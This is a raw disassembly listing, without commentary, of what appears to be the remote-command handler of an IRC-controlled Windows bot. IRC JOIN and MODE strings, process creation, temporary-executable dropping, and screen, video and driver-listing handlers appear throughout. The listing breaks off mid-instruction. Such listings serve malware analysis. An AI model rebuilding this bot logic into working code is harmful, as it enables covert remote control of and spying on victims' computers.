loc_40810A: ; CODE XREF: sub_401B66+4AA9j ; sub_401B66+4AC0j push edi call sub_41BF49 cmp eax, ebx pop ecx mov [ebp+var_1D60], eax jle loc_4081FA push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EE8] push esi push eax call sub_41C150 xor eax, eax cmp [ebp+var_8EA], bl push [ebp+var_88] setnz al mov [ebp+var_1D5C], eax mov eax, [ebp+arg_4] mov [ebp+var_1EEC], eax lea eax, [ebp+var_1DE8] push esi push eax call sub_41C150 mov eax, [ebp+var_4] push edi push [ebp+arg_10] mov [ebp+var_1D58], eax mov eax, [ebp+var_8] mov [ebp+var_1D54], eax push offset unk_42B8A0 lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 push ebx lea eax, [ebp+var_2C0] push 15h push eax call sub_40AF8D add esp, 38h mov [ebp+var_1D68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EEC] push ebx push eax push offset sub_4134C5 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1D68] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4081ED call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B868 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_4081E5: ; CODE XREF: sub_401B66+668Dj push 32h call dword_428064 ; Sleep loc_4081ED: ; CODE XREF: sub_401B66+666Cj cmp [ebp+var_1D50], ebx jz short loc_4081E5 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_4081FA: ; CODE XREF: sub_401B66+65B3j push offset unk_42B830 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_408204: ; CODE XREF: sub_401B66+4A7Bj ; sub_401B66+4A92j push edi push [ebp+arg_10] call dword_4280B4 ; MoveFileA test eax, eax jz short loc_408231 push edi lea eax, [ebp+var_2C0] push [ebp+arg_10] push offset unk_42B80C push 200h push eax call sub_41C150 jmp loc_4040D4 ; --------------------------------------------------------------------------- loc_408231: ; CODE XREF: sub_401B66+66AAj push offset dword_42B800 call sub_418827 push eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 add esp, 10h jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_408255: ; CODE XREF: sub_401B66+4A4Dj ; sub_401B66+4A64j push [ebp+arg_10] lea eax, [ebp+var_3C6C] push 104h push eax call sub_41C150 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_40828F push edi push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz short loc_40828F push eax lea eax, [ebp+var_3B68] push eax call sub_41C056 pop ecx pop ecx loc_40828F: ; CODE XREF: sub_401B66+6709j ; sub_401B66+6718j push [ebp+var_88] lea eax, [ebp+var_3CEC] push 80h push eax call sub_41C150 mov eax, [ebp+arg_4] mov [ebp+var_3CF0], eax mov eax, [ebp+var_4] mov [ebp+var_3A60], eax mov eax, [ebp+var_8] mov [ebp+var_3A5C], eax lea eax, [ebp+var_3B68] push eax lea eax, [ebp+var_3C6C] push eax push offset unk_42B7D0 lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 push ebx lea eax, [ebp+var_2C0] push 24h push eax call sub_40AF8D add esp, 2Ch mov [ebp+var_3A64], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset sub_41720A push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_3A64] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_408354 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B794 loc_408338: ; CODE XREF: sub_401B66+9B3j ; sub_401B66+9D9j ... lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch jmp loc_402418 ; --------------------------------------------------------------------------- loc_40834C: ; CODE XREF: sub_401B66+67F4j push 32h call dword_428064 ; Sleep loc_408354: ; CODE XREF: sub_401B66+67C4j cmp [ebp+var_3A58], ebx jz short loc_40834C jmp loc_402418 ; --------------------------------------------------------------------------- loc_408361: ; CODE XREF: sub_401B66+4A1Fj ; sub_401B66+4A36j push 44h lea eax, [ebp+var_664] pop esi push esi push ebx push eax call sub_41BD60 push [ebp+arg_10] mov [ebp+var_664], esi xor esi, esi mov [ebp+var_634], bx inc esi mov [ebp+var_638], esi call sub_41BF49 add esp, 10h cmp eax, esi jnz short loc_4083A0 mov [ebp+var_634], 5 loc_4083A0: ; CODE XREF: sub_401B66+682Fj cmp [ebp+var_C], ebx jz loc_406C9B push edi push [ebp+var_C] call sub_41C0D0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C9B lea eax, [ebp+var_DAC] push eax lea eax, [ebp+var_664] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_428070 ; CreateProcessA test eax, eax lea eax, [ebp+var_2C0] jnz short loc_4083EF push offset unk_42B770 jmp loc_406221 ; --------------------------------------------------------------------------- loc_4083EF: ; CODE XREF: sub_401B66+687Dj push edi push offset dword_42B754 jmp loc_406C92 ; --------------------------------------------------------------------------- loc_4083FA: ; CODE XREF: sub_401B66+49F1j ; sub_401B66+4A08j push edi push offset aH43yh4ckernt ; "h43yh4ckerNT" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40856C lea eax, [ebp+var_48EC] push eax push 104h call dword_4280B0 ; GetTempPathA push 0FFh lea eax, [ebp+var_2874] push [ebp+arg_10] push eax call sub_41BDC0 lea eax, [ebp+var_1794] push eax call sub_40AC87 push eax lea eax, [ebp+var_48EC] push eax lea eax, [ebp+var_2774] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C056 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_2670], 1 mov [ebp+var_266C], ebx jz short loc_40848C push 10h push ebx push eax call sub_41C595 add esp, 0Ch mov [ebp+var_2664], eax jmp short loc_408492 ; --------------------------------------------------------------------------- loc_40848C: ; CODE XREF: sub_401B66+6910j mov [ebp+var_2664], ebx loc_408492: ; CODE XREF: sub_401B66+6924j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_4084A9 push esi call sub_41BF49 pop ecx mov [ebp+var_2668], eax jmp short loc_4084AF ; --------------------------------------------------------------------------- loc_4084A9: ; CODE XREF: sub_401B66+6932j mov [ebp+var_2668], ebx loc_4084AF: ; CODE XREF: sub_401B66+6941j movzx eax, [ebp+var_8F7] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2660], eax lea eax, [ebp+var_28F4] mov [ebp+var_28F8], esi push eax call sub_41BDC0 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_2658], eax mov eax, [ebp+var_8] mov [ebp+var_265C], eax lea eax, [ebp+var_2C0] push offset dword_42B71C push eax call sub_41C056 push esi lea eax, [ebp+var_2C0] push 1Eh push eax call sub_40AF8D add esp, 24h mov [ebp+var_2674], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28F8] push ebx push eax push offset sub_416975 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2674] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_40855F call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42B6E0 jmp loc_406C8C ; --------------------------------------------------------------------------- loc_408557: ; CODE XREF: sub_401B66+69FFj push 32h call dword_428064 ; Sleep loc_40855F: ; CODE XREF: sub_401B66+69DEj cmp [ebp+var_2654], ebx jz short loc_408557 jmp loc_406C9B ; --------------------------------------------------------------------------- loc_40856C: ; CODE XREF: sub_401B66+68A3j push offset dword_42B698 jmp loc_40621B ; --------------------------------------------------------------------------- loc_408576: ; CODE XREF: sub_401B66+49C3j ; sub_401B66+49DAj push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jz loc_401F9E cmp [ebp+var_C], ebx jz loc_401F9E push edi push [ebp+var_C] call sub_41C0D0 push eax lea eax, [ebp+var_2C0] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42B684 push eax call sub_41C056 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BDC0 push [ebp+arg_10] call sub_41BF49 add esp, 30h test eax, eax jle short loc_4085FF push [ebp+arg_10] call sub_41BF49 imul eax, 3E8h pop ecx push eax call dword_428064 ; Sleep loc_4085FF: ; CODE XREF: sub_401B66+6A81j push offset dword_42B670 call sub_4157A5 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_408613: ; CODE XREF: sub_401B66+4995j ; sub_401B66+49ACj push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jz loc_401F9E cmp [ebp+var_C], ebx jz loc_40976F push edi push [ebp+var_C] call sub_41C0D0 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C840 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2C0] jz short loc_4086CE push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42B684 push eax call sub_41C056 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BDC0 push esi lea eax, [ebp+var_2C0] push offset dword_42B658 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+arg_10] call sub_41BF49 add esp, 38h test eax, eax jle loc_40976F push [ebp+arg_10] call sub_41BF49 add eax, [ebp+arg_24] pop ecx jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_4086CE: ; CODE XREF: sub_401B66+6AF3j push offset unk_42B624 jmp loc_408F53 ; --------------------------------------------------------------------------- loc_4086D8: ; CODE XREF: sub_401B66+4967j ; sub_401B66+497Ej push 7Fh lea eax, [ebp+var_207C] push [ebp+arg_10] push eax call sub_41BDC0 push 7Fh lea eax, [ebp+var_1FFC] push edi push eax call sub_41BDC0 push 7Fh lea eax, [ebp+var_1F7C] push [ebp+var_88] push eax call sub_41BDC0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_1EF8], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1EF4], eax push [ebp+arg_10] lea eax, [ebp+var_2C0] mov [ebp+var_2080], esi push offset unk_42B5F0 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 0Fh push eax call sub_40AF8D add esp, 40h mov [ebp+var_1EFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2080] push ebx push eax push offset sub_4149E9 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1EFC] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_40879C call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B5B4 jmp loc_408860 ; --------------------------------------------------------------------------- loc_408794: ; CODE XREF: sub_401B66+6C3Cj push 32h call dword_428064 ; Sleep loc_40879C: ; CODE XREF: sub_401B66+6C1Bj cmp [ebp+var_1EF0], ebx jz short loc_408794 jmp loc_40886F ; --------------------------------------------------------------------------- loc_4087A9: ; CODE XREF: sub_401B66+4939j ; sub_401B66+4950j push 7Fh lea eax, [ebp+var_23A4] push [ebp+arg_10] push eax call sub_41BDC0 push 7Fh lea eax, [ebp+var_2324] push edi push eax call sub_41BDC0 push 7Fh lea eax, [ebp+var_22A4] push [ebp+var_88] push eax call sub_41BDC0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2220], eax mov eax, [ebp+var_8] push edi mov [ebp+var_221C], eax push [ebp+arg_10] lea eax, [ebp+var_2C0] mov [ebp+var_23A8], esi push offset dword_42B588 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 11h push eax call sub_40AF8D add esp, 40h mov [ebp+var_2224], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23A8] push ebx push eax push offset sub_414191 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2224] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_408897 call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42B54C loc_408860: ; CODE XREF: sub_401B66+6C29j lea eax, [ebp+var_2C0] push eax call sub_41C056 add esp, 0Ch loc_40886F: ; CODE XREF: sub_401B66+6C3Ej ; sub_401B66+6D39j cmp [ebp+var_8], ebx jnz loc_403FE4 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FDC ; --------------------------------------------------------------------------- loc_40888F: ; CODE XREF: sub_401B66+6D37j push 32h call dword_428064 ; Sleep loc_408897: ; CODE XREF: sub_401B66+6CECj cmp [ebp+var_2218], ebx jz short loc_40888F jmp short loc_40886F ; --------------------------------------------------------------------------- loc_4088A1: ; CODE XREF: sub_401B66+490Bj ; sub_401B66+4922j push edi lea eax, [ebp+var_2C0] push offset dword_42B544 push eax call sub_41C056 push [ebp+arg_10] call sub_41BF49 add esp, 10h loc_4088BE: ; CODE XREF: sub_401B66+6DC3j test eax, eax jle loc_40976F push [ebp+arg_10] call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F loc_4088DA: ; CODE XREF: sub_401B66+793Aj lea eax, [ebp+var_2C0] push eax push offset dword_42B53C push [ebp+arg_10] call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_40993C jmp loc_404984 ; --------------------------------------------------------------------------- loc_408905: ; CODE XREF: sub_401B66+48DDj ; sub_401B66+48F4j push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push edi push offset dword_42B530 push eax call sub_41C056 push [ebp+arg_10] call sub_41BF49 add esp, 14h jmp short loc_4088BE ; --------------------------------------------------------------------------- loc_40892B: ; CODE XREF: sub_401B66+48AFj ; sub_401B66+48C6j push edi lea eax, [ebp+var_2C0] push offset dword_42CB14 push eax call sub_41C056 mov esi, [ebp+arg_10] push esi call sub_41BF49 add esp, 10h test eax, eax jle loc_40976F push esi call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F lea eax, [ebp+var_2C0] push eax push offset dword_42B53C push esi call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_40993C push edi push esi push offset dword_42B514 loc_40898E: ; CODE XREF: sub_401B66+6EB0j ; sub_401B66+6F1Cj ... call sub_415819 jmp loc_404292 ; --------------------------------------------------------------------------- loc_408998: ; CODE XREF: sub_401B66+4881j ; sub_401B66+4898j cmp [ebp+var_C], ebx jz loc_40976F push edi push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089C7 push esi lea eax, [ebp+var_2C0] push offset dword_42B50C push eax call sub_41C056 add esp, 0Ch loc_4089C7: ; CODE XREF: sub_401B66+6E4Aj mov edi, [ebp+arg_10] push edi call sub_41BF49 test eax, eax pop ecx jle loc_40976F push edi call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F lea eax, [ebp+var_2C0] push eax push offset dword_42B53C push edi call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_40993C push esi push edi push offset dword_42B4F0 jmp loc_40898E ; --------------------------------------------------------------------------- loc_408A1B: ; CODE XREF: sub_401B66+4853j ; sub_401B66+486Aj cmp [ebp+var_C], ebx jz loc_40976F push edi push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40976F mov edi, [ebp+arg_10] push edi call sub_41BF49 test eax, eax pop ecx jle loc_40976F push edi call sub_41BF49 cmp eax, 400h pop ecx jge loc_40976F push esi push offset dword_42B53C push edi call sub_41BF49 imul eax, 234h pop ecx push dword_440BA4[eax] call sub_40993C push esi push edi push offset dword_42B4D4 jmp loc_40898E ; --------------------------------------------------------------------------- loc_408A87: ; CODE XREF: sub_401B66+4825j ; sub_401B66+483Cj cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40976F push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40993C push esi push offset unk_42B4AC loc_408ABB: ; CODE XREF: sub_401B66+7AD3j ; sub_401B66+7AF0j ... call sub_415819 jmp loc_4034DF ; --------------------------------------------------------------------------- loc_408AC5: ; CODE XREF: sub_401B66+47F7j ; sub_401B66+480Ej push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jz loc_401F9E push edi push offset dword_42B4A0 push [ebp+arg_4] call sub_40993C push [ebp+arg_10] call sub_41BF49 imul eax, 3E8h add esp, 10h push eax call dword_428064 ; Sleep push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40993C push offset dword_42B48C call sub_4157A5 jmp loc_4034DF ; --------------------------------------------------------------------------- loc_408B29: ; CODE XREF: sub_401B66+47C9j ; sub_401B66+47E0j cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] call sub_41B7B0 push [ebp+arg_8] mov esi, eax call sub_41B7B0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41C0D0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40976F push esi lea eax, [ebp+var_2C0] push offset dword_42BBC4 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409982 push esi push [ebp+arg_10] push offset unk_42B470 call sub_415819 add esp, 2Ch jmp loc_40976F ; --------------------------------------------------------------------------- loc_408B9B: ; CODE XREF: sub_401B66+479Bj ; sub_401B66+47B2j cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] call sub_41B7B0 push [ebp+arg_8] mov esi, eax call sub_41B7B0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41C0D0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40976F push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409982 push esi push [ebp+arg_10] push offset unk_42B450 call sub_415819 add esp, 20h jmp loc_40976F ; --------------------------------------------------------------------------- loc_408BF5: ; CODE XREF: sub_401B66+476Dj ; sub_401B66+4784j cmp [ebp+var_C], ebx jz loc_401F9E push edi push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz loc_401F9E push eax push [ebp+arg_10] call sub_4156AD push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_42B430 push eax call sub_41C056 add esp, 14h jmp loc_403FC3 ; --------------------------------------------------------------------------- loc_408C36: ; CODE XREF: sub_401B66+473Fj ; sub_401B66+4756j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418BBC loc_408C4B: ; CODE XREF: sub_401B66+25A2j add esp, 14h jmp loc_401F9E ; --------------------------------------------------------------------------- loc_408C53: ; CODE XREF: sub_401B66+4701j ; sub_401B66+4716j push [ebp+arg_10] push [ebp+arg_1C] call sub_41C0D0 pop ecx test eax, eax pop ecx jz loc_40976F mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408CEE push esi push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2C0] jz short loc_408CDC push esi push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42B684 push eax call sub_41C056 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41BDC0 push esi lea eax, [ebp+var_2C0] push [ebp+arg_10] push offset unk_42B408 push eax call sub_41C056 add esp, 34h inc [ebp+arg_24] jmp loc_4090C0 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_401B66+7122j push offset unk_42B3D8 push eax call sub_41C056 pop ecx pop ecx jmp loc_4090C0 ; --------------------------------------------------------------------------- loc_408CEE: ; CODE XREF: sub_401B66+710Bj push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B4B0 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset dword_42B3BC push 200h push eax call sub_41C150 add esp, 24h jmp loc_4090C0 ; --------------------------------------------------------------------------- loc_408D37: ; CODE XREF: sub_401B66+46D7j ; sub_401B66+46ECj push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_408D92 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408D7F push edi call sub_4159B5 cmp eax, 1 pop ecx lea eax, [ebp+var_2C0] jnz short loc_408D78 push edi push offset unk_42B388 push eax call sub_41C056 add esp, 0Ch jmp short loc_408D92 ; --------------------------------------------------------------------------- loc_408D78: ; CODE XREF: sub_401B66+71FFj push offset unk_42B358 jmp short loc_408D8A ; --------------------------------------------------------------------------- loc_408D7F: ; CODE XREF: sub_401B66+71EDj push offset unk_42B31C lea eax, [ebp+var_2C0] loc_408D8A: ; CODE XREF: sub_401B66+7217j push eax call sub_41C056 pop ecx pop ecx loc_408D92: ; CODE XREF: sub_401B66+71E2j ; sub_401B66+7210j push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_408E1F xor edi, edi loc_408DA7: ; CODE XREF: sub_401B66+72A4j lea eax, [ebp+var_53F4] push 1FFh push eax lea eax, [ebp+var_4EEC] push 0FFh push eax push edi call dword_4CDC94 test eax, eax jz short loc_408E06 lea eax, [ebp+var_53F4] push eax lea eax, [ebp+var_4EEC] push eax push edi lea eax, [ebp+var_5D84] push offset unk_42B2EC push eax call sub_41C056 push ebx lea eax, [ebp+var_5D84] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 28h loc_408E06: ; CODE XREF: sub_401B66+7262j inc edi cmp edi, 0Ah jl short loc_408DA7 lea eax, [ebp+var_2C0] push offset unk_42B2C4 push eax call sub_41C056 pop ecx pop ecx loc_408E1F: ; CODE XREF: sub_401B66+723Dj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_408EC0 cmp [ebp+esi+var_88], ebx jz short loc_408EAD cmp [ebp+esi+var_84], ebx jz short loc_408EAD mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408EAD mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408EAD push eax call sub_41BF49 pop ecx push eax push edi call sub_41BF49 pop ecx push eax push [ebp+esi+var_84] call sub_41BF49 pop ecx push eax push [ebp+esi+var_88] call sub_415BF0 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jnz short loc_408EA6 push [ebp+esi+var_88] push offset unk_42B290 push eax call sub_41C056 add esp, 0Ch jmp short loc_408EC0 ; --------------------------------------------------------------------------- loc_408EA6: ; CODE XREF: sub_401B66+7327j push offset unk_42B25C jmp short loc_408EB8 ; --------------------------------------------------------------------------- loc_408EAD: ; CODE XREF: sub_401B66+72D7j ; sub_401B66+72E0j ... push offset unk_42B224 lea eax, [ebp+var_2C0] loc_408EB8: ; CODE XREF: sub_401B66+7345j push eax call sub_41C056 pop ecx pop ecx loc_408EC0: ; CODE XREF: sub_401B66+72CAj ; sub_401B66+733Ej push offset aVideo ; "video" push [ebp+arg_10] call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40909F mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_408F6B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_408F6B mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_408F6B mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_408F6B mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_408F6B push esi call sub_41BF49 pop ecx push eax push edi call sub_41BF49 pop ecx push eax push [ebp+arg_18] call sub_41BF49 pop ecx push eax push [ebp+arg_0] call sub_41BF49 pop ecx push eax push [ebp+arg_1C] call sub_415DE9 add esp, 14h test eax, eax lea eax, [ebp+var_2C0] jnz short loc_408F61 push [ebp+arg_1C] push offset unk_42B1F0 loc_408F53: ; CODE XREF: sub_401B66+6B6Dj push eax call sub_41C056 add esp, 0Ch jmp loc_40909F ; --------------------------------------------------------------------------- loc_408F61: ; CODE XREF: sub_401B66+73E3j push offset unk_42B1B0 jmp loc_409097 ; --------------------------------------------------------------------------- loc_408F6B: ; CODE XREF: sub_401B66+737Dj ; sub_401B66+738Fj ... push offset unk_42B16C lea eax, [ebp+var_2C0] jmp loc_409097 ; --------------------------------------------------------------------------- loc_408F7B: ; CODE XREF: sub_401B66+3FE2j ; sub_401B66+3FF7j push offset aR ; "r" push [ebp+arg_10] call sub_41BC92 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_408FF9 mov esi, 200h push edi lea eax, [ebp+var_2C0] push esi push eax call sub_41C31F add esp, 0Ch jmp short loc_408FD3 ; --------------------------------------------------------------------------- loc_408FA8: ; CODE XREF: sub_401B66+746Fj push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 push edi lea eax, [ebp+var_2C0] push esi push eax call sub_41C31F add esp, 20h loc_408FD3: ; CODE XREF: sub_401B66+7440j test eax, eax jnz short loc_408FA8 push edi call sub_41B82B push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_42B148 push eax call sub_41C056 add esp, 10h jmp loc_406CBC ; --------------------------------------------------------------------------- loc_408FF9: ; CODE XREF: sub_401B66+7428j push [ebp+arg_10] push offset unk_42B124 jmp loc_406C8C ; --------------------------------------------------------------------------- loc_409006: ; CODE XREF: sub_401B66+3FB8j ; sub_401B66+3FCDj cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] push [ebp+var_C] call sub_41C0D0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40976F push offset asc_42B120 ; "\n" push esi call sub_41C690 push esi call sub_41A1FF add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jnz short loc_40904B push offset unk_42B0F4 jmp short loc_409097 ; --------------------------------------------------------------------------- loc_40904B: ; CODE XREF: sub_401B66+74DCj push esi push offset dword_42B0DC push eax call sub_41C056 add esp, 0Ch jmp short loc_4090C0 ; --------------------------------------------------------------------------- loc_40905C: ; CODE XREF: sub_401B66+3F8Ej ; sub_401B66+3FA3j cmp [ebp+var_C], ebx jz loc_40976F push [ebp+arg_10] push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz loc_40976F push eax call sub_4188EC test eax, eax pop ecx lea eax, [ebp+var_2C0] jnz short loc_409092 push offset unk_42B0BC jmp short loc_409097 ; --------------------------------------------------------------------------- loc_409092: ; CODE XREF: sub_401B66+7523j push offset dword_42B0A0 loc_409097: ; CODE XREF: sub_401B66+7400j ; sub_401B66+7410j ... push eax call sub_41C056 pop ecx pop ecx loc_40909F: ; CODE XREF: sub_401B66+736Bj ; sub_401B66+73F6j cmp [ebp+var_8], ebx jnz short loc_4090C0 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_4090C0: ; CODE XREF: sub_401B66+7171j ; sub_401B66+7183j ... lea eax, [ebp+var_2C0] push eax call sub_4157A5 pop ecx jmp loc_40976F ; --------------------------------------------------------------------------- loc_4090D2: ; CODE XREF: sub_401B66+3F64j ; sub_401B66+3F79j push 7Fh lea eax, [ebp+var_2210] push [ebp+arg_10] push eax call sub_41BDC0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409103 push 7Fh lea eax, [ebp+var_2190] push esi push eax call sub_41BDC0 add esp, 0Ch loc_409103: ; CODE XREF: sub_401B66+7589j push 7Fh lea eax, [ebp+var_2110] push [ebp+var_88] push eax call sub_41BDC0 mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_2214], eax mov eax, [ebp+var_8] mov [ebp+var_208C], eax mov eax, [ebp+var_4] mov [ebp+var_2088], eax lea eax, [ebp+var_2C0] push offset dword_42B088 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 1Ch push eax call sub_40AF8D add esp, 24h mov [ebp+var_2090], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2214] push ebx push eax push offset sub_41B576 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2090] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4091A6 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42B048 jmp loc_40448C ; --------------------------------------------------------------------------- loc_40919E: ; CODE XREF: sub_401B66+7646j push 32h call dword_428064 ; Sleep loc_4091A6: ; CODE XREF: sub_401B66+7625j cmp [ebp+var_2084], ebx jz short loc_40919E jmp loc_406CBC ; --------------------------------------------------------------------------- loc_4091B3: ; CODE XREF: sub_401B66+3F3Aj ; sub_401B66+3F4Fj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_4101B7 push [ebp+arg_10] push offset dword_42B030 jmp loc_40898E ; --------------------------------------------------------------------------- loc_4091D2: ; CODE XREF: sub_401B66+3F10j ; sub_401B66+3F25j push 14h lea eax, [ebp+var_1D44] push ebx push eax call sub_41BD60 push [ebp+arg_10] lea eax, [ebp+var_1D30] push offset aS_2 ; "%s" push eax call sub_41C056 mov eax, [ebp+arg_4] mov [ebp+var_1D4C], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_1C2C] push 80h push eax call sub_41C150 mov eax, [ebp+var_4] mov [ebp+var_1BA4], eax mov eax, [ebp+var_8] mov [ebp+var_1BA0], eax lea eax, [ebp+var_1C2C] push eax lea eax, [ebp+var_1D30] push eax lea eax, [ebp+var_2C0] push offset unk_42B00C push eax call sub_41C056 push ebx lea eax, 